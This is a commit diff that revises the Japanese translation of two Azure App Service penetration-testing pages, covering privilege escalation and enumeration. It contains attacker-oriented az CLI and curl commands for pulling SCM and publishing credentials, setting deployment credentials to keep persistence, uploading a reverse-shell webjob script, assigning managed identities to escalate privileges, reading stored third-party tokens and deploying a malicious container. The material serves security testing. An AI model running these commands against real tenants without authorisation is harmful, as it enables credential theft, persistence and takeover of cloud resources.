Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-04 03:47:39 +00:00
parent eba921c636
commit 31ba315a34
2 changed files with 36 additions and 50 deletions

View File

@@ -23,7 +23,7 @@ az webapp ssh --name <name> --resource-group <res-group>
```bash
az webapp create-remote-connection --name <name> --resource-group <res-group>
## If successfull you will get a message such as:
## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
@@ -43,7 +43,7 @@ ssh root@127.0.0.1 -p 39895
SCM資格情報を取得するには、次の**コマンドと権限**を使用できます:
- 権限**`Microsoft.Web/sites/publishxml/action`**は、次の呼び出を許可します
- 権限**`Microsoft.Web/sites/publishxml/action`**は、呼び出すことを許可します:
```bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
@@ -124,14 +124,14 @@ az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
```
次に、これらの資格情報を使用して**SCMおよびFTPプラットフォームにアクセス**できます。これは持続性を維持するための優れた方法でもあります。
その後、これらの資格情報を使用して**SCMおよびFTPプラットフォームにアクセス**できます。これは持続性を維持するための優れた方法でもあります。
**WebからSCMプラットフォームにアクセスするには、`<SCM-URL>/BasicAuth`にアクセスする必要があります**
> [!WARNING]
> すべてのユーザーは前のコマンドを呼び出すことで自分の資格情報を設定できますが、ユーザーがSCMまたはFTPにアクセスするための十分な権限を持っていない場合、資格情報は機能しません。
- これらの資格情報が**REDACTED**と表示されている場合、それは**SCM基本認証オプションを有効にする必要がある**ためで、そのためには2番目の権限`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write:`)が必要です
- これらの資格情報が**REDACTED**と表示される場合、それは**SCM基本認証オプションを有効にする必要がある**ためであり、そのためには2番目の権限`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)が必要です
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -149,23 +149,23 @@ az rest --method PUT \
"properties": {
"allow": true
}
}
}'
```
### SCM資格情報を使用してコードを公開する
有効なSCM資格情報があれば、**コードを公開**することが可能です。これは次のコマンドを使用して行うことができます。
このPythonの例では、https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart からリポジトリをダウンロードし、任意の**変更**を加えた後、**`zip -r app.zip .`を実行して圧縮します**
このPythonの例では、https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart からリポジトリをダウンロードし、任意の**変更**を加えた後、**`zip -r app.zip .`**を実行して圧縮します。
その後、次のコマンド**コードを公開**できます:
その後、次のコマンドを使用してWebアプリに**コードを公開**できます:
```bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
```
### Microsoft.Web/sites/publish/Action | SCM credentials
### Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials
言及されたAzureの権限は、SCM資格情報を使用しても実行できるいくつかの興味深いアクションを実行することを許可します
- **Webjobs** ログを読む
- **Webjobs** ログを読む:
```bash
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
@@ -173,7 +173,7 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>>' -v
--user '<username>:<password>' -v
```
- **Webjobs**のソースコードを読む:
```bash
@@ -203,19 +203,19 @@ curl -X PUT \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
```
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
これらの権限は、**マネージドアイデンティティを割り当てる**ことを可能にします。したがって、Appサービスが以前に侵害されていた場合、攻撃者は新しいマネージドアイデンティティをAppサービスに割り当て、**権限を昇格させる**ことができます。
```bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
```
### Microsoft.Web/sites/config/list/action
この権限は、データベースの資格情報などの機密情報を含む可能性あるAppサービスの**接続文字列**と**アプリ設定**を一覧表示することを許可します。
この権限は、データベースの資格情報などの機密情報を含む可能性あるAppサービスの**接続文字列**と**アプリ設定**をリストすることを許可します。
```bash
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
```
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
これらの権限は、**マネージドアイデンティティ**をAppサービスに割り当てることを可能にします。したがって、Appサービスが以前に侵害されていた場合、攻撃者は新しいマネージドアイデンティティをAppサービスに割り当て、**権限を昇格**させることができます。
```bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
```
### 設定されたサードパーティの資格情報を読み取る
次のコマンドを実行することで、現在のアカウントに設定された**サードパーティの資格情報**を読み取ることができます。たとえば、別のユーザーにGithubの資格情報が設定されている場合、別のユーザーからトークンにアクセスすることはできません。
@@ -225,7 +225,7 @@ az rest --method GET \
```
このコマンドは、Github、Bitbucket、Dropbox、およびOneDriveのトークンを返します。
ここにトークンを確認するためのいくつかのコマンド例があります:
ここにトークンを確認するためのいくつかのコマンド例があります:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
@@ -256,21 +256,21 @@ https://graph.microsoft.com/v1.0/me/drive/root/children
- 権限**`Microsoft.Web/sites/config/list/action`**を使用:
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- アプリが**ローカルgitリポジトリ**を使用するように構成されている場合、リポジトリを**クローン**し、変更を**プッシュ**することが可能です:
- アプリが**ローカルgitリポジトリ**を使用するように構成されている場合、リポジトリを**クローン**し、**変更をプッシュ**することが可能です:
- 権限**`Microsoft.Web/sites/sourcecontrols/read`**を使用:`az webapp deployment source show --name <app-name> --resource-group <res-group>`を使用してgitリポジトリのURLを取得できますが、アプリのSCM URLと同じで、パスは`/<app-name>.git`になります(例:`https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`)。
- SCM資格情報を取得するには、次の権限が必要です
- **`Microsoft.Web/sites/publishxml/action`**:次に、`az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`を実行します。
- **`Microsoft.Web/sites/config/list/action`**:次に、`az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`を実行します。
> [!WARNING]
> 権限`Microsoft.Web/sites/config/list/action`とSCM資格情報を持っている場合、前のセクションで述べたように、サードパーティプロバイダーを使用するように構成されていても、ウェブアプリにデプロイすることは常に可能です。
> 権限`Microsoft.Web/sites/config/list/action`とSCM資格情報を持っている場合、前のセクションで述べたように、サードパーティプロバイダーを使用するように構成されていても、webappにデプロイすることは常に可能です。
> [!WARNING]
> 以下の権限を持っている場合、ウェブアプリが異なる構成であっても**任意のコンテナを実行することが可能**です。
> 以下の権限を持っている場合、webappが異なる構成であっても**任意のコンテナを実行することが可能**です。
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
これは、ウェブアプリによって使用される**コンテナを変更する**ことを許可する権限のセットです。攻撃者はこれを悪用して、ウェブアプリが悪意のあるコンテナを実行するようにすることができます。
これは、webappによって使用される**コンテナを変更する**ことを許可する権限のセットです。攻撃者はこれを悪用してwebappに悪意のあるコンテナを実行させることができます。
```bash
az webapp config container set \
--name <app-name> \

View File

@@ -13,12 +13,12 @@ Azure App Servicesは、開発者が**ウェブアプリケーション、モバ
- Isolatedティアは**専用の仮想ネットワーク上の専用VM**で実行され、アプリの隔離が向上します。
> [!WARNING]
> これらの隔離は、他の一般的な**ウェブ脆弱性**(ファイルアップロードやインジェクションなど)を**防ぐものではありません**。また、**管理アイデンティティ**が使用される場合、それに**権限を昇格させる**ことができる可能性があります。
> これらの隔離は、他の一般的な**ウェブ脆弱性**(ファイルアップロードやインジェクションなど)を**防ぐものではありません**。また、**管理アイデンティティ**が使用されている場合、それに**権限を昇格させる**ことができる可能性があります。
アプリにはいくつかの興味深い設定があります:
- **Always On**: アプリが常に実行されることを保証します。これが有効でない場合、アプリは20分間の非アクティブ後に停止し、リクエストが受信されると再起動します。
- ウェブジョブが継続的に実行される必要がある場合、アプリが停止するとウェブジョブも停止するため、これは重要です。
- ウェブジョブが継続的に実行される必要がある場合、アプリが停止するとウェブジョブも停止します。
- **SSH**: 有効にすると、十分な権限を持つユーザーがSSHを使用してアプリに接続できます。
- **デバッグ**: 有効にすると、十分な権限を持つユーザーがアプリをデバッグできます。ただし、これは48時間ごとに自動的に無効になります。
- **Web App + Database**: ウェブコンソールを使用してデータベースを持つアプリを作成できます。この場合、使用するデータベースSQLAzure、PostgreSQL、MySQL、MongoDBを選択でき、Azure Cache for Redisを作成することもできます。
@@ -28,9 +28,9 @@ Azure App Servicesは、開発者が**ウェブアプリケーション、モバ
## Basic Authentication
ウェブアプリ通常はAzure関数を作成する際に、**Basic Authenticationを有効にするかどうかを指定できます**(デフォルトでは無効)。これは基本的に、アプリケーションのために**SCMソースコントロールマネージャーおよびFTPファイル転送プロトコル**を有効にすることを意味し、これらの技術を使用してアプリケーションをデプロイできるようになります。
ウェブアプリ通常はAzure関数を作成する際に、**Basic Authenticationを有効にするかどうかを指定できます**(デフォルトでは無効)。これは基本的に、アプリケーションのために**SCMソースコントロールマネージャーおよびFTPファイル転送プロトコル**を有効にすることを意味し、これらの技術を使用してアプリケーションを展開できるようになります。
SCMおよびFTPサーバーにアクセスするには、**ユーザー名とパスワード**が必要です。したがって、AzureはこれらのプラットフォームへのURLと資格情報を取得するための**APIを提供します**
SCMおよびFTPサーバーにアクセスするには、**ユーザー名とパスワード**が必要です。したがって、Azureはこれらのプラットフォームへの**URLを取得するためのAPI**を提供しています。
**FTPサーバーには特別な魔法はありません**。有効なURL、ユーザー名、パスワードがあれば、接続してアプリ環境に対する読み取りおよび書き込み権限を取得できます。
@@ -52,7 +52,7 @@ Kuduで見つけることができるいくつかの興味深いエンドポイ
- `/Env`: システム、アプリ設定、環境変数、接続文字列、およびHTTPヘッダーに関する情報を取得します。
- `/wwwroot/`: ウェブアプリのルートディレクトリです。ここからすべてのファイルをダウンロードできます。
さらに、Kuduは以前は[https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu)でオープンソースでしたが、プロジェクトは非推奨となり、Azureの現在のKuduの動作と古いKuduを比較すると、**すでにいくつかのことが変更されている**ことがわかります。
さらに、Kuduは以前は[https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu)でオープンソースでしたが、プロジェクトは非推奨となり、Azureの現在のKuduの動作と古いものを比較すると、**すでにいくつかのことが変更されている**ことがわかります。
## Sources
@@ -65,7 +65,7 @@ App Servicesは、デフォルトでコードをzipファイルとしてアッ
- リモートリポジトリの資格情報を取得するには、`az webapp deployment source show --name <app-name> --resource-group <res-group>`または`az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`を実行します。
- **Azure Repository**を使用することも可能です。
- **ローカルgitリポジトリ**を構成することも可能です。
- `az webapp deployment source show --name <app-name> --resource-group <res-group>`を使用してgitリポジトリのURLを取得できこれはアプリのSCM URLになります。
- `az webapp deployment source show --name <app-name> --resource-group <res-group>`を使用してgitリポジトリのURLを取得できます。これはアプリのSCM URLになります。
- クローンするには、`az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`で取得できるSCM資格情報が必要です。
## Webjobs
@@ -77,7 +77,7 @@ Azure WebJobsは、**Azure App Service環境で実行されるバックグラウ
ウェブジョブは、環境内で**コードを実行**し、接続された管理アイデンティティに**権限を昇格させる**ために使用できる可能性があるため、攻撃者の視点から非常に興味深いです。
さらに、ウェブジョブによって生成された**ログ**を確認することは常に興味深いです。これには**機密情報**が含まれている可能性があります。
さらに、ウェブジョブによって生成された**ログ**を確認することは常に興味深いです。これには**機密情報**が含まれている可能性があります。
## Slots
@@ -87,7 +87,7 @@ Azure App Service Slotsは、**同じApp Serviceに異なるバージョンの
## Azure Function Apps
基本的に**Azure Function AppsはAzure App Serviceのサブセット**であり、ウェブコンソールに表示されます。ウェブコンソールにアクセスしてすべてのアプリサービスをリストするか、az cliで`az webapp list`を実行すると、**Function Appsもそこにリストされているのが見えます**。
基本的に**Azure Function AppsはAzure App Serviceのサブセット**であり、ウェブコンソールに表示されます。ウェブコンソールにアクセスしてすべてのアプリサービスをリスト表示するか、az cliで`az webapp list`を実行すると、**Function Appsもそこにリストされているのが見えます**。
したがって、両方のサービスは実際にはほとんど**同じ設定、機能、およびaz cliのオプションを持っています**が、アプリ設定のデフォルト値やFunction Appsでのストレージアカウントの使用など、少し異なる方法で構成される場合があります。
@@ -156,6 +156,9 @@ az webapp config storage-account list --name <name> --resource-group <res-group>
# Get configured container (if any) in the webapp, it could contain credentials
az webapp config container show --name <name> --resource-group <res-group>
# Get git URL to access the code
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
# Get Webjobs
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
@@ -217,24 +220,7 @@ done
{{#endtab }}
{{#endtabs }}
#### 資格情報を取得し、webappコードにアクセスする
```bash
# Get connection strings that could contain credentials (with DBs for example)
az webapp config connection-string list --name <name> --resource-group <res-group>
## Check how to use the DBs connection strings in the SQL page
# Get credentials to access the code and DB credentials if configured.
az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
# Get git URL to access the code
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
# Access/Modify the code via git
git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.git'
## In my case the username was: $nameofthewebapp and the password some random chars
## If you change the code and do a push, the app is automatically redeployed
```
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
@@ -252,7 +238,7 @@ cd msdocs-python-flask-webapp-quickstart
# Create webapp from this code
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
```
SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`を見ることができます。
SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が表示されます。
> [!TIP]
> FTP経由で接続して`output.tar.gz`ファイルを変更するだけでは、ウェブアプリで実行されるコードを変更するには不十分です。
@@ -264,10 +250,10 @@ SCMポータルにログインするか、FTP経由でログインすると、`/
このチュートリアルは前のものに基づいていますが、Githubリポジトリを使用しています。
1. Githubアカウントでリポジトリmsdocs-python-flask-webapp-quickstartをフォークします。
2. Azureで新しいPython Web Appを作成します。
2. Azureで新しいPython Webアプリを作成します。
3. `Deployment Center`でソースを変更し、Githubでログインし、フォークしたリポジトリを選択して`Save`をクリックします。
前のケースと同様に、SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`を見ることができます。
前のケースと同様に、SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が表示されます。
> [!TIP]
> FTP経由で接続して`output.tar.gz`ファイルを変更し、デプロイメントを再トリガーするだけでは、ウェブアプリで実行されるコードを変更するには不十分です。